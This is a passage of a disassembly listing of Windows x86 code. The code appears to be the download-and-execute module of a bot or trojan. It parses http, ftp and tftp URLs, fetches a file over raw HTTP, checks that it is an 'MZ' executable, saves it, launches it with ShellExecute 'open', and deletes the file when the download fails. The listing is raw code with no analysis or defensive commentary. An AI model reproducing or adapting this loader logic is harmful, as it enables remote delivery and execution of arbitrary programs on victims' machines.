		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------

loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F

loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------

loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------

loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758

loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF

loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B

loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D

loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx

loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax

loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E

loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------

loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------

loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------

loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DF00
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF00
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------

loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------

loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------

loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------

loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax

loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------

loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax

loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A

loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1

loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------

loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------

loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------

loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------

loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------

loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------

loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------

loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------

loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------

loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax

loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch

loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------

loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------

loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------

loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax

loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax

loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax

loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------

loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------

loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DF00

loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax

loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------

loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217

loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148

loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------

loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------

loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------

